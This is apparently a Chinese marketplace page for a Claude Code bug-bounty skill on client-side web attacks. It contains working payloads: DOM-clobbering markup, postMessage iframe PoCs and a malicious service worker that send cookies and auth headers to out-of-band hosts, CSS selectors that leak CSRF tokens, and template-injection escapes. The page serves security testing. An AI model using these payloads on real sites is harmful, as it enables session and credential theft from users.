mcpField
H
hunt-dom

hunt-dom

github.com/elementalsouls安全5.3k252 次安装今天更新
代码仓库

关于 hunt-dom

面向安全测试人员的客户端攻击面测试技能,覆盖 DOM Clobbering、PostMessage、Service Worker、CSS 数据外传及客户端模板注入。它强调验证可利用性、浏览器端证据与 CSP 等限制,而非仅凭静态信号判断漏洞。

主要功能

  1. 01DOM Clobbering 与 DOM-XSS 检查
  2. 02PostMessage 来源校验测试
  3. 03Service Worker 注册与持久性验证
  4. 04CSS 属性值外传测试
  5. 05客户端模板注入检查
  6. 06框架 HTML 注入点追踪

适用场景

  1. 01测试仅允许标记注入的页面
  2. 02审查跨窗口消息处理器
  3. 03验证同源脚本能否注册恶意 Service Worker
  4. 04检查 CSS 注入能否泄露令牌

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-dom

安装后在 Claude Code 中输入/hunt-dom确认已加载。

详细介绍

HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS 数据窃取

核心目标

基于 DOM 的攻击在受害者的浏览器中执行——服务器通常看不到载荷,因此 WAF 和服务端输入过滤器不适用。PostMessage 缺少来源检查 = 无需 XSS 即可跨源窃取令牌。

价值最高的攻击链:

  • DOM Clobbering → DOM-XSS / 身份验证绕过 — 注入 HTML 标记(不含 <script>)会覆盖 window.config 这样的 JS 全局变量,或遮蔽 document.getElementById;应用随后将该值当作 URL/代码处理 → 在仅允许标记注入、脚本被过滤的情况下触发执行点。
  • PostMessage 未检查来源 → 窃取会话 / DOM-XSS — message 处理程序若信任 event.data,却不验证 event.origin,攻击者就能通过 iframe/opener 驱动特权操作或向执行点提供数据。
  • 滥用 Service Worker — 通过存储型 XSS 注册同源 SW 脚本(该脚本因上传功能 / 开放重定向 / 目标站点提供服务的路径而可访问)→ 拦截范围内的所有 fetch → 持续捕获凭据。
  • CSS 数据窃取 — 属性值选择器(input[value^="a"])无需 JS,即可逐字符将 CSRF 令牌 / API 密钥 / nonce 泄露到 OOB 主机。
背景依据 — 本文综合整理的公开研究
  • DOM Clobbering / DOM-Invader — Gareth Heyes 与 PortSwigger Web Security Academy 的“DOM clobbering”主题;DOM-Invader 内置专用的 clobbering 扫描器。执行点分类对应 Academy 的基于 DOM 的漏洞实验。
  • DOMPurify clobbering 与 mXSS 绕过 — Michał Bentkowski(Securitum)关于通过 clobbering 和 mutation XSS 绕过 HTML 清理器的系列博客。
  • jQuery htmlPrefilter 自闭合标签 XSS — CVE-2020-11022 和 CVE-2020-11023(jQuery < 3.5.0)。将攻击者控制的 HTML 传给 .html() / .append() 会使其变异为可执行标记。搜索捆绑的 jQuery 版本;这是现实世界中最常见的 DOM-XSS 根因之一。
  • CSS 数据窃取 — d0nut 的“CSS Injection Attacks” / “Stealing Data With CSS”研究(通过顺序 @import 递归移除逐字符位置限制)。

仅引用你实际复现的内容。不要将这些内容作为“证据”粘贴到报告中——针对真实目标的 PoC 才是证据。此处列出的研究用于说明技术来源,而非夸大严重性。


攻击面信号

# Injection points that allow MARKUP but may strip <script>:
user bio / display name / comment / markdown preview / SVG upload / CMS rich-text

# postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
*/sso/*  */embed/*  */widget/*  */oauth/*  /sdk.js  pay/checkout iframes

# Service worker presence:
/sw.js  /service-worker.js  /firebase-messaging-sw.js  /ngsw-worker.js (Angular)

# CSS injection points:
?theme=  custom-css profile field  email-template editor  style= passthrough

阶段 1 — DOM Clobbering

# Signal: app reads element IDs/names as if they were JS objects, OR feeds a
# clobberable global into a sink (location, innerHTML, eval, script.src).
# Inject MARKUP (no script) at a sink that lets named/id'd elements through.

# Single-level clobber of window.config:
#   <a id="config" href="https://evil.com">
# Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
#   <a id="config"></a><a id="config" name="url">   # window.config.url resolves to an attacker-controlled element/string
# Clobber a string-coerced URL value (anchor toString() == href):
#   <a id="x"></a><a id="x" name="y" href="https://evil.com">   # x.y -> href
# Nested window.a.b.c via form/inputs:
#   <form id="a"><input id="b" name="c" value="clobbered"></form>
# baseURI / relative-URL hijack:
#   <base href="https://evil.com/">      # bends every relative src/href
// Browser console: find globals that are clobberable AND reach a sink.
// A var only matters if the app later concatenates it into a URL/HTML/eval.
const susp = ['config','settings','options','appConfig','init','data','user',
  'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
susp.forEach(k => {
  const v = window[k];
  // HTMLCollection / element => already clobbered or clobberable namespace
  if (v && (v instanceof Element || v instanceof HTMLCollection))
    console.log('[CLOBBERED/NAMESPACE]', k, v);
  else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
});
# Source review: find globals fed into sinks (this is what makes clobbering exploitable)
curl -s "https://$TARGET/" | grep -nE \
  "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
# DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.

**jQuery 切入点:**如果捆绑的 jQuery 版本低于 3.5.0,传给 .html()/.append() 的攻击者 HTML 会自我变异并执行(CVE-2020-11022 / CVE-2020-11023)。确认版本后,测试 <style><style /><img src=x onerror=alert(document.domain)>。


阶段 2 — 劫持 PostMessage

两类漏洞:(a) 监听器信任跨源数据 → 驱动执行点 / 特权操作;(b) 发送方使用目标来源 '*' 广播机密信息 → 任何嵌入该页面的页面都能读取。

# Find handlers and flag the ones with NO origin check
grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
  | grep -vE "\.origin\b" 
# Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
# Senders that leak: grep for postMessage(<secret>, '*')
grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null


<iframe id="f" src="https://TARGET/page-with-listener"></iframe>
<script>
  document.getElementById('f').onload = () => {
    const w = document.getElementById('f').contentWindow;
    // Shape the payload to whatever the handler routes into a sink:
    w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
    w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
  };
</script>

<iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
<pre id="out"></pre>
<script>
addEventListener('message', e => {
  // Only count it if e.origin is the TARGET and data carries a secret
  out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
  if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
    fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
});
</script>

误报防护:使用部分检查的处理程序(origin.indexOf('target.com')>-1、endsWith('target.com')、正则表达式 target\.com)仍然存在漏洞——可通过 target.com.evil.com 或 eviltarget.com 绕过。通过从此类仿冒域名提供 PoC,并证明消息仍能送达来确认。


PostMessage 处理程序竞态 — 在来源设置前抢先发送消息

除了静态的来源/发送方检查之外:某些处理程序会信任第一条消息,或者在框架加载期间读取 event.origin,此时它仍为 ""/null。制造竞态——在 iframe/弹出窗口加载期间紧密循环发送 postMessage,或在导航前从 about:blank 发送消息,从而让你的消息抢在合法发送方之前送达,或赶在严格的来源设置运行之前送达。测试任何假定“第一条消息 = 可信”的处理程序。已披露:reports/381356。

阶段 3 — 滥用 Service Worker

硬性规则(纠正常见错误):SW 脚本 URL 必须与调用 register() 的页面同源。跨源脚本 URL(https://evil.com/sw.js)会抛出 SecurityError——没有任何标头可以启用跨源 SW 脚本注册。Service-Worker-Allowed 只会扩大同源脚本可控制的作用域,不会改变脚本所在的位置。

因此,现实可行的路径是:将 SW 脚本放到目标源上(可提供 JS 的文件上传功能、将目标源反射为脚本的开放重定向或路径、text/javascript 类型的 JSON/JSONP 端点,或由你控制的现有路由),然后从同源 XSS 注册它。

# Enumerate existing SW + its scope
curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
  curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
# Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
#   curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
// Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
// served by the target). scope must be <= the directory the script is served from
// unless the response carries Service-Worker-Allowed.
navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
  .then(r => fetch('https://OOB/sw-registered?scope='+r.scope))  // OOB proof of registration
  .catch(e => console.log('SW reg failed', e.name));  // SecurityError => wrong origin/scope

// evil-sw.js (served from the TARGET origin):
self.addEventListener('fetch', e => {
  e.respondWith(fetch(e.request.clone()).then(async resp => {
    // Exfil URL + any auth header the page attaches, to OOB
    fetch('https://OOB/sw-intercept', {method:'POST',
      body: JSON.stringify({url: e.request.url,
        auth: e.request.headers.get('authorization')})});
    return resp;
  }));
});

持久性说明:关闭标签页后,SW 仍会保留,并在下次访问其作用域内的页面时重新运行——这正是它被评为严重(Critical)的原因。关闭所有标签页、重新打开该源,并在不重新触发 XSS 的情况下展示一次新的 OOB 命中,以确认持久性。


阶段 4 — CSS 注入 / 外带

# Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
# template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
# Step 1 confirm injection: inject "color:red" on a known element, observe render.
# Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.

范围注意事项(纠正过度表述):CSS 外带可以绕过阻止脚本执行的 CSP,但不能绕过通过 style-src / img-src / default-src / connect-src 限制外部源或通过 form-action 加以限制的 CSP。如果设置了 img-src 'self',则 url(https://OOB/...) 会被阻止。务必先读取实时的 Content-Security-Policy 标头;如果外部资源源已被锁定,CSS 外带就行不通,应如实说明,而不是声称它可行。

/* One request fires only for the matching first char. */
input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
/* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
# Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
import string
chars = string.ascii_letters + string.digits + '-_'
attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
print("\n".join(
  f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
# Real exfil needs recursion: serve a stylesheet whose @import pulls the next
# position's rules only after the current prefix matched (d0nut technique) —
# this removes the "static input, one char" limitation.

验证:证据是 OOB 命中,而不是渲染出的颜色。搭建 Collaborator / 请求收集器,并展示每个正确字符各对应一次命中,组成真实令牌,然后演示使用该令牌发起会改变状态的 CSRF 请求。没有 OOB 回调就不算发现(在 DevTools 中,0 字节图像或被 CSP 阻止的请求看起来都像是成功)。


阶段 5 — dangerouslySetInnerHTML / 框架注入点

grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
# In minified Next/React bundles:
curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -oP 'dangerouslySetInnerHTML.{0,120}'
# Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
# If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.

阶段 6 — 客户端模板注入

# Detect framework, then test the {{}} sink in a sandbox-bypass form.
grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
# Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
#   {{7*7}}  -> 49 in the live DOM (not in raw HTML) => CSTI
# AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
#   {{constructor.constructor('alert(document.domain)')()}}
# Vue: {{_c.constructor('alert(1)')()}}    (varies by Vue 2/3 build)

利用链表

DOM 发现利用链到影响
DOM 篡改 → 将被篡改的 URL 注入 script.src/location仅通过标记注入即可触发 DOM-XSS高 / 绕过身份验证
PostMessage 缺少或未充分检查 origin(监听器)数据 → innerHTML/eval/location 注入点DOM-XSS → ATO
PostMessage 的 targetOrigin:'*' 发送方任何框架页面都可读取令牌/身份验证代码跨源令牌窃取
CSS 外带(经 OOB 确认)泄露 CSRF 令牌 → 发起 CSRFCSRF 利用链(中等及以上)
通过 XSS 注入同源 Service Worker拦截作用域内所有 fetch 请求和身份验证标头持久性 ATO(严重)
dangerouslySetInnerHTML,未使用净化器存储型 DOM-XSSXSS → ATO

工具

# DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
# postMessage-tracker — Chrome extension logging cross-window messages
# Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
# Verify any tool URL before citing it in a report; do not paste unverified repo links.

验证(避免误报)

遵循仓库标准:在 DevTools 中触发的技术,只有在经过带外(OOB)确认且证明了状态变化后,才能算作发现。

  • DOM Clobbering —— 证明被篡改的值确实到达了某个接收点(XSS payload 执行,或应用从攻击者 URL 导航 / 加载)。可被篡改的全局变量若从未到达接收点,就没有影响,不要报告。
  • PostMessage —— 区分检查缺失和检查薄弱;从仿冒来源绕过薄弱检查,并通过带外方式捕获。单独一条嘈杂的 message 日志不能作为证据——应展示特权操作或令牌外泄。
  • CSS 外泄 —— 每个正确字符都有带外回调,才是唯一有效证据。 先检查 CSP:限制外部来源的 img-src / style-src / connect-src / default-src 会使其失效。在 Network 标签页中,无法区分被阻止的 url() 和成功的请求——请在 Collaborator 端确认。
  • Service Worker —— 注册必须使用同源脚本;SecurityError 表示你引用了错误的来源。证明其持久性(关闭标签页 → 重新打开 → 再次出现新的带外命中,且没有重新触发 XSS)。
  • 通用要求 —— 为每次测试使用唯一标记(btoa(domain)+nonce),以确保带外命中可归因于你的 payload,而非后台流量;应对渲染后的 DOM 进行正文差异比对,而不是原始 HTML,因为这些内容是客户端生成的。

严重程度:

  • 同源 Service Worker → 持久性凭据拦截:严重
  • PostMessage 数据 → DOM-XSS / 令牌窃取 → ATO:高–严重
  • DOM Clobbering → DOM-XSS 影响身份验证 / 会话:高
  • CSS 外泄 CSRF 令牌(经带外确认)→ CSRF:中(若串联的 CSRF 影响账户安全,则提高严重程度)

评论

支持 Markdown